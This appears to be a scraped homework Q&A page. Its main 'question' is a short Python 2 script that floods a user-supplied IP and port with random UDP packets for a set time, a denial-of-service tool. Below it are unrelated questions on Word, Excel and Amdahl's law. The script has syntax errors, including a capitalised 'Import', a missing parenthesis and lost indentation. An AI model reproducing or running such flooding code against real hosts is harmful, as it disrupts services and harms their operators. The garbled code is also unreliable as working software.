subject

Import os import sys
import time
import socket
import random

sock = socket. socket(socket. AF_INET, socket. SOCK_DGRAM)

bytes = random._urandom(1024)

os. system("clear")
ip = raw_input("Target's IP: ")
port = input("Port: ")
dur = input("Time: ")
timeout = time. time() + dur
sent = 0

while True:
try:
if time. time() > timeout:
break
else:
pass
sock. sendto(bytes,(ip, port))
sent = sent + 1
print("Sent %s packets to %s through port %s"%(sent, ip, port)

ansver
Answers: 1

Another question on Computers and Technology

question
Computers and Technology, 23.06.2019 00:10
My has been slow anyone else’s ?
Answers: 1
question
Computers and Technology, 23.06.2019 09:00
The first screen you see when you open word2016 what is called?
Answers: 1
question
Computers and Technology, 23.06.2019 17:30
When making changes to optimize part of a processor, it is often the case that speeding up one type of instruction comes at the cost of slowing down something else. for example, if we put in a complicated fast floating-point unit, that takes space, and something might have to be moved farther away from the middle to accommodate it, adding an extra cycle in delay to reach that unit. the basic amdahl's law equation does not take into account this trade-off. a. if the new fast floating-point unit speeds up floating-point operations by, on average, 2Δƒβ€”, and floating-point operations take 20% of the original program's execution time, what is the overall speedup (ignoring the penalty to any other instructions)? b. now assume that speeding up the floating-point unit slowed down data cache accesses, resulting in a 1.5Δƒβ€” slowdown (or 2/3 speedup). data cache accesses consume 10% of the execution time. what is the overall speedup now? c. after implementing the new floating-point operations, what percentage of execution time is spent on floating-point operations? what percentage is spent on data cache accesses?
Answers: 2
question
Computers and Technology, 24.06.2019 12:30
Select all that apply. what two keys listed below should you use to enter data in an excel worksheet? tab backspace enter right arrow
Answers: 2
You know the right answer?
Import os import sys
import time
import socket
import random

sock = socke...
Questions
question
Mathematics, 05.10.2019 01:00
question
Mathematics, 05.10.2019 01:00
question
Mathematics, 05.10.2019 01:00
question
Mathematics, 05.10.2019 01:00
question
Social Studies, 05.10.2019 01:00
Questions on the website: 13722361